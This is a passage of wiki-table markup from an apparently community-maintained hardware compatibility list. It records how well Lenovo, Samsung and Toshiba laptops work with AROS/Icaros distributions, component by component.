|&lt;!--Name--&gt;ThinkPad e14 G6, e15 Gen 6 (15″, AMD) || &lt;!--Chipset--&gt;AMD 7000 series AMD Ryzen™ 7 7735HS || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme || &lt;!--Gfx--&gt;VESA 2D for AMD Radeon || &lt;!--Audio--&gt;{{unk|HDAudio codec}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{maybe| }} || &lt;!--Wireless--&gt;{{no| wifi}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2023 64bit- 15.6in 1080p - 
|-
|&lt;!--Name--&gt;ThinkPad L16 (16&quot; AMD),  || &lt;!--Chipset--&gt;AMD 8000 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme  || &lt;!--Gfx--&gt;VESA 2D || &lt;!--Audio--&gt;{{unk|HDAudio with codec}} || &lt;!--USB--&gt;{{maybe|USB4}} || &lt;!--Ethernet--&gt;{{no|rtl8169 needs dongle}} || &lt;!--Wireless--&gt;{{no| wifi}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2025 64bit 
|-
|&lt;!--Name--&gt;ThinkPad T14 Gen 5, P14s Gen 5 || &lt;!--Chipset--&gt;AMD Ryzen 7 PRO 8840U, AMD Ryzen™ 5 PRO 8540U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;NVME || &lt;!--Gfx--&gt;VESA 2d || &lt;!--Audio--&gt;{{unk| }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 }} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2025 64bit - 14inch 1920 x 1200 - 
|-
|&lt;!--Name--&gt; Lenovo WinBook 300e SKU: 82GKS00000 || &lt;!--Chipset--&gt;AMD 3015E  || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2023 64bit 4GB 64GB SSD 11.6 Inch Touchscreen Windows 10 Pro Laptop 
|-
|&lt;!--Name--&gt;ThinkPad  || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
|&lt;!--Name--&gt;Lenovo Yoga Slim 7a || &lt;!--Chipset--&gt;AMD Ryzen AI 7350 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;1 nvme || &lt;!--Gfx--&gt;AMD 860M || &lt;!--Audio--&gt;{{No|HDaudio with ALC3306 aka alc287 codec}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{no| wifi}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2025 64bit - 14in 1800p ips 300 nits - usb-c ac charging 71whr integrated battery - sd card slot - digital pen input - 8gb, 6gb or 32gb soldered ddr5 ram - 
|-
|&lt;!--Name--&gt;ThinkPad  || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
|}

====Samsung====

[[#top|...to the top]]

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;5%&quot; |Ethernet
! width=&quot;2%&quot; |Wireless 
! width=&quot;5%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;NP-Q1 Q1 || &lt;!--Chipset--&gt;Celeron-M 353 ULV 600Mhz || &lt;!--IDE--&gt;{{Yes|1.8&quot; SFF HDD 20 / 60 GB }} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{Yes|GMA 915 2D and 3D opengl1 tunnel 95 gearbox 68}} || &lt;!--Audio--&gt;{{Yes|HD Audio with  codec - head phones only}} || &lt;!--USB--&gt;{{Yes}} || &lt;!--Ethernet--&gt;{{No|Marvell}} || &lt;!--Wireless--&gt;{{Yes|Atheros 5006EX}} || &lt;!--Test Distro--&gt;2016 Icaros 2.1 || &lt;!--Comments--&gt;2005 32bit old style tablet UltraMobile PC UMPC - Wacom serial resistive pen or finger no support - 1 sodimm ddr2 max 1Gb - LCD 7&quot; WVGA (800 x 480) - CompactFlash port Type II - 
|-
| &lt;!--Name--&gt;NP Q1U Ultra Mobile PC UMPC Q1F NP-Q1-F000 || &lt;!--Chipset--&gt;Intel A100 600 / A110 Stealey 800 MHz CPU || &lt;!--IDE--&gt;{{Yes}} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{Maybe|GMA 950 2D and 3D opengl1}} || &lt;!--Audio--&gt;{{No|HD Audio 1986}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Intel || &lt;!--Wireless--&gt;{{Maybe|Atheros 5006EX}} || &lt;!--Test Distro--&gt;2016 Icaros 2.1 || &lt;!--Comments--&gt;2006 32bit 1024×600 - sd card slot - 
|-
| &lt;!--Name--&gt;NP P500 family P500Y || &lt;!--Chipset--&gt;AMD with SB600 || &lt;!--IDE--&gt;{{N/A| }} || &lt;!--SATA--&gt;{{Yes| }} || &lt;!--Gfx--&gt;{{Maybe|use VESA Ati x1250}} || &lt;!--Audio--&gt;{{Yes| Audio with  codec }} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{No|Marvell 88E8039 yukon}} || &lt;!--Wireless--&gt;{{yes|Atheros G}} || &lt;!--Test Distro--&gt;2017 Icaros 2.1.2 || &lt;!--Comments--&gt;64bit possible - 15.4 tft display - cheap plastic okay build - 19v propriety end - 
|-
| &lt;!--Name--&gt;R505 R510 || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt;Atheros G || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;R520 R522 R610H R620 || &lt;!--Chipset--&gt;Intel Mobile Core i3 Intel PM45 82801M ICH9-M|| &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;ATI Mobility Radeon HD 4650 (RV730)  || &lt;!--Audio--&gt;Intel HD Audio with Realtek ALC272  || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Marvell Yukon 88E8057 || &lt;!--Wireless--&gt;Atheros AR5007EG || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2010 64 bit possible 
|-
| NP-R530 ||  || {{N/A}} || {{partial|IDE mode}} || {{yes|Intel GMA (2D)}} || {{partial|HD Audio playback}} || {{yes|USB 2.0}} || {{no|Marvell}} || {{unk|Atheros AR9285}} || Icaros 1.5.2 || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;Samsung R730 17.3 Essential Notebook NP-R730-JA02UK, NP-R730-JA01SE, R730-JT06 || &lt;!--Chipset--&gt;Intel HM55 Dual Core T4300 i3-370M || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Maybe|use VESA for Intel 4500MHD and GeForce G 310M with 1 VGA, 1 HDMI}} || &lt;!--Audio--&gt;{{Yes|HDAudio ALC??? codec Realtek}} || &lt;!--USB--&gt;{{yes|USB2}} || &lt;!--Ethernet--&gt;{{No|Marvell Yukon 88E8059 PCI-E}} || &lt;!--Wireless--&gt;{{unk|Broadcom, Intel or Atheros 9k AR9285}} || &lt;!--Test Distro--&gt;Deadwoods ISO 2023-11 || &lt;!--Comments--&gt;2010 64bit - 17.3in HD 1280 x 720 pixels low contrast or some 1600x900 - 2 DDR3 sodimm slots - 2.84 kg 6.26 lbs - 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;[http://www.notebookcheck.net/Review-Samsung-305U1A-A01DE-Subnotebook.68246.0.html Series 3 Samsung 305u1a] || &lt;!--Chipset--&gt;AMD Zacate E350 or E450 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;AMD Radeon 6320 || &lt;!--Audio--&gt;ALC ACL 269 || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Realtek 8111 8169 || &lt;!--Wireless--&gt;Broadcom 4313 || &lt;!--Comments--&gt;2011 64bit 
|-
| &lt;!--Name--&gt;NP-RV415 NP-RV515 || &lt;!--Chipset--&gt;E350 or E450 plus A50M chipset || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;AMD Radeon HD 6470 || &lt;!--Audio--&gt;HD Audio Realtek || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{unk|RTL8169 Realtek RTL8111 8168B}} || &lt;!--Wireless--&gt;{{unk|Atheros AR9285}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2012 64bit slow -  
|-
| &lt;!--Name--&gt;Series 5 NP535U3C || &lt;!--Chipset--&gt;A6-4455M || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;2.5in || &lt;!--Gfx--&gt;radeon || &lt;!--Audio--&gt;HDAudio || &lt;!--USB--&gt;USB2 || &lt;!--Ethernet--&gt;Realtek GbE || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2012 64bit slow - 13.3in 1368 x 768 - plastic build - 65w 19v psu - 
|-
| &lt;!--Name--&gt;series 3 NP355V5C || &lt;!--Chipset--&gt;A6-4400M, A8-4500M, A10-4600M || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;2.5in || &lt;!--Gfx--&gt;7640M || &lt;!--Audio--&gt;HDAudio || &lt;!--USB--&gt;USB2 || &lt;!--Ethernet--&gt;Realtek GbE || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2012 64bit - 15.4in 1368 x 768 - plastic build - 65w 19v psu - 
|-
| &lt;!--Name--&gt;Samsung ATIV Book 9 Lite NP905S3G || &lt;!--Chipset--&gt;AMD A6-1450 quad 1GHz Temash atom like || &lt;!--IDE--&gt; || &lt;!--SATA--&gt;128gb || &lt;!--Gfx--&gt;AMD 8250 || &lt;!--Audio--&gt;HD Audio || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{Maybe|Realtek rtl8169 but only with mini LAN AA-AE2N12B Ethernet Adapter RJ45 dongle}} || &lt;!--Wireless--&gt;{{unk|Atheros AR9565}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2014 64bit - 13.3 TN glossy 1366 x 768 200nits 60% srgb - plastic case - 26W battery built in with 4hr life - 19V 2.1A 3.0*1.0mm psu - 1 ddr3l slot max 4gb - 720p webcam - mini hdmi out - 1w speakers - 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
|}


====Toshiba====

[[#top|...to the top]]

Order of Build Quality (Lowest to highest) 
&lt;pre &gt;
Equium 
Satellite (Pro) 
Libretto 
Portege
Tecra
&lt;/pre &gt;

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;5%&quot; |Ethernet
! width=&quot;10%&quot; |Wireless 
! width=&quot;5%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
| Tecra 8100 8200 9000 || 440BX || {{yes|IDE}} || {{N/A}} || {{maybe|S3 Savage MX 3D (VESA only)}} || {{no|Yamaha DS-XG ymf744 ymf-754}} || {{yes|USB1.1 only}} || {{N/A}} || {{N/A}} || Icaros 1.5 || little support 
|-
| &lt;!--Name--&gt;Tecra 9100 || &lt;!--Chipset--&gt;810 || &lt;!--IDE--&gt;{{Yes}} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{maybe|S3 Savage IX}} || &lt;!--Audio--&gt;{{no|ymf754}} || &lt;!--USB--&gt;USB 1.1 || &lt;!--Ethernet--&gt;eeee pro100 || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;PSU Adapter For Toshiba Tecra 9000 9100 A1 A10 A11 A3 A3X A4 A5 A7 M1 M2 M3 M4 M5 M7 M9 R10 S1 series 75 Watt 15V 5A
|-
| [http://tuxmobil.org/toshiba_sp4600.html Satellite Pro 4600] || i810 || IDE || {{N/A}} || {{maybe|Trident Cyber Blade XP (VESA only)}} || {{no|YAMAHA DS-XG AC97 ymf754}} || {{yes|USB}} || {{yes|Intel e100}} || {{no|Agere (internal PCMCIA)}} || || little support 
|-
| Satellite 2805 S603 || Intel 815 || {{yes|IDE}} || {{N/A}} || {{maybe|nVidia GeForce2 Go}} || {{no|Yamaha Corp YMF 754}} || {{yes|USB}} || {{yes|Intel PRO/100}} || {{dunno}} || || little support
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;Satellite A10 S167 S1291 - A15 A20 A25 || &lt;!--Chipset--&gt;P4M || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Intel 852GM or Radeon || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;RTL 8139 || &lt;!--Wireless--&gt;{{Maybe|Intel 2100, Agere or Atheros PA3399U 1MPC minipci}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;a few models came with antenna leads 
|-
| Satellite [http://eu.computers.toshiba-europe.com/innovation/jsp/SUPPORTSECTION/discontinuedProductPage.do?service=EU&amp;com.broadvision.session.new=Yes&amp;PRODUCT_ID=76230 A30-714] || P4-M / 82845 i845 || {{yes|82801}} || {{N/A}} || {{maybe|VESA}} || {{yes|AC97}} || {{yes}} || {{yes|RTL8139}} || {{N/A}} || Icaros 1.2.4 || nice laptop, drawbacks: heavy, really hot (P4-3.06 GHz!!) - A30 (EU) A33 (Australian) A35 (USA) - 
|-
| &lt;!--Name--&gt;Satellite A40 A45 || &lt;!--Chipset--&gt;P4M or Celeron M with Intel 845 865 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Intel 852GME or Radeon 7000 Mobility || &lt;!--Audio--&gt;AC97 Realtek || &lt;!--USB--&gt;USB2.0 || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt;Atheros 5002G 5004G - PA3299U mini pci || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2003 32bit - A40 S161 A40-S1611 A40-2701, A45-S120 A45-S1201 S130 S1301 S1501  - 
|-
| &lt;!--Name--&gt;Satellite a50 A55 a60-s156 Equium A60 PSA67E A65 || &lt;!--Chipset--&gt;P4M or Celeron M with Intel 845 865 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Intel 852GME or Radeon 7000 Mobility || &lt;!--Audio--&gt;AC97 Realtek || &lt;!--USB--&gt;USB2.0 || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt;Atheros 5002G 5004G - PA3299U mini-pci || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2003 32bit - 
|-
| &lt;!--Name--&gt;Satellite A70 A75-S206 A80 A85-S107 || &lt;!--Chipset--&gt;P4M or Celeron-M with Intel 845 865 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Intel 852GME or Radeon 7000 Mobility || &lt;!--Audio--&gt;AC97 Realtek || &lt;!--USB--&gt;USB2.0 || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt;Atheros 5002G 5004G - PA3299U mini-pci || &lt;!--Test Distro--&gt;Icaros 1.5.1 || &lt;!--Comments--&gt;2003 32bit - 
|-
| Toshiba Satellite Pro M30 || intel 855 || {{yes|boots with ATA=nodma option}} || {{N/A}} || {{maybe|VESA}} || {{yes|AC97}} || {{yes|USB2.0}} || {{yes|Intel PRO/100 VE}} || {{dunno}} || Icaros 1.5 || nice laptop with some support 
|-
| &lt;!--Name--&gt;Portege M300 - M200 tablet || &lt;!--Chipset--&gt;855GM with 1.2GHz Pentium M 753 || &lt;!--IDE--&gt;{{yes}} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{maybe|VESA 2d only - tablet with nvidia 5200 go}} || &lt;!--Audio--&gt;{{no|AC97 STAC 9750}} || &lt;!--USB--&gt;{{yes}} || &lt;!--Ethernet--&gt;{{yes|Intel PRO 100}} || &lt;!--Wireless--&gt;{{no|Intel PRO Wireless 2200BG}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;little support 
|-
| &lt;!--Name--&gt;Tecra M2 M2-S || &lt;!--Chipset--&gt;Intel 855P Pentium-M || &lt;!--IDE--&gt; || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;nvidia fx go5200 32mb or 64mb agp || &lt;!--Audio--&gt;AC97 1981B || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt;Intel Pro || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2003 32bit - PSU 15V 5A - 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;Satellite Pro L20 267 (PSL2YE PSL2XE) PSL25E L30 || &lt;!--Chipset--&gt;Celeron M 370 1.4 1.5GHz, 1.73Ghz with RC410M SB400 || &lt;!--IDE--&gt;{{N/A| }} || &lt;!--SATA--&gt;{{yes|IDE mode}} || &lt;!--Gfx--&gt;{{Maybe|use VESA - Ati x200}} || &lt;!--Audio--&gt;{{No|[https://forums.gentoo.org/viewtopic-t-490297-start-0.html ALC861]}} || &lt;!--USB--&gt;{{Maybe|Boots usb sticks}} || &lt;!--Ethernet--&gt;{{yes|rtl8139 Realtek 8139}} || &lt;!--Wireless--&gt;{{No|Atheros mini-pci should work maybe not working with ATi chipset or need to swap??}} || &lt;!--Test Distro--&gt;2016 Icaros 2.1.1 || &lt;!--Comments--&gt;2004 32bit 14&quot; pioneer dvd-rw - 19v 
|-
| &lt;!--Name--&gt;Satellite L30 PSL30E L33 PSL33E || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Intel 800 or ATi RC410 x200 || &lt;!--Audio--&gt;AC97 AD1981B or HD Audio ALC861 || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;realtek 8139 || &lt;!--Wireless--&gt;Atheros or Intel || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;L30 PSL30L 101 PSL33E 113 115 134 00M019 - 
|-
| Satellite Pro M40 313 psm44e || AMD with Ati || {{yes|boots with ATA=nodma}} || {{N/A}} || {{maybe|VESA}} || {{yes|AC97}} || {{yes|USB2.0}} || {{yes|}} || {{maybe|atheros askey ar5bmb5 mini pci}} || || 2005 32bit - nice laptop with some support 
|-
| &lt;!--Name--&gt;Satellite L40 PSL40E PSL40L, PSL43E || &lt;!--Chipset--&gt;945GM with  U7700 1.3GHz ULV || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Intel 945 || &lt;!--Audio--&gt;{{No|Intel HD with AD1986A codec}} || &lt;!--USB--&gt;2 USB2.0 || &lt;!--Ethernet--&gt;realtek 8139 || &lt;!--Wireless--&gt;Atheros AR24xx Askey || &lt;!--Test Distro--&gt;Icaros 2.0.3 || &lt;!--Comments--&gt;2006 32bit only -  - 12X 13G 139 14B 143 15J 19O  - 
|-
| &lt;!--Name--&gt;Satellite L45 PSL40U S7409 S2416 || &lt;!--Chipset--&gt;945GM with Celeron M 440 1.86 GHz || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Intel 945 || &lt;!--Audio--&gt;{{No|Intel HD with AD1986A codec}} || &lt;!--USB--&gt;2 USB2.0 || &lt;!--Ethernet--&gt;realtek 8139 || &lt;!--Wireless--&gt;Atheros AR24xx Askey || &lt;!--Test Distro--&gt;Icaros 2.0.3 || &lt;!--Comments--&gt;2006 32bit only - 
|-
| &lt;!--Name--&gt;Satellite Pro A100 || &lt;!--Chipset--&gt;940G || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Nvidia G72M Quadro NVS 110M GeForce Go 7300 / Ati (PSAA3E)|| &lt;!--Audio--&gt;HD Audio with ALC861 codec || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Intel 100 || &lt;!--Wireless--&gt;Intel 3945 swap with atheros || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;Satellite A110 159 (PSAB0), Equium A110 (PSAB2E), Satellite A110 233 (PSAB6),  || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt;ALC861 || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Realtek 8136 || &lt;!--Wireless--&gt;Atheros || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;Satellite Pro A120 PSAC0 PSAC1 PSAC1E || &lt;!--Chipset--&gt;Core Solo GMA 950 to T2300 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;GMA 945 || &lt;!--Audio--&gt;ALC262 or AC97 AD1981B || &lt;!--USB--&gt;UHCI EHCI  || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt;Atheros Ar5001 or Intel or Broadcom || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;15V 4A charger - 
|-
| &lt;!--Name--&gt;Satellite Pro A120 || &lt;!--Chipset--&gt;Core Duo ATi RS480 + SB450 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;use VESA - ATI RC410 Radeon Xpress 200M || &lt;!--Audio--&gt;ALC262 || &lt;!--USB--&gt;OCHI UHCI || &lt;!--Ethernet--&gt;RTL 8139 || &lt;!--Wireless--&gt;Intel 3945 or Atheros Ar5001 || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;15v 5a proprietary charger needed 
|-
| &lt;!--Name--&gt;Satelite A130 PSAD6U || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Realtek 8101E || &lt;!--Wireless--&gt;Atheros or Intel || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;ST1311 s1311 ST1312 S2276 S2386  - 
|-
| &lt;!--Name--&gt;Satellite A135 S2686 (Compal LA 3391P) || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Realtek 8101E || &lt;!--Wireless--&gt;Atheros or Intel || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;S2246 S2346 S2256 S4477 S4666 S4827  - 
|-
